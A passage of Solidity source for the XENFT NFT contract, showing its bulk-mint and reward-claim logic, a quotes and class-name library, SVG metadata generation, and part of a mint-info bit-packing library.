require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) 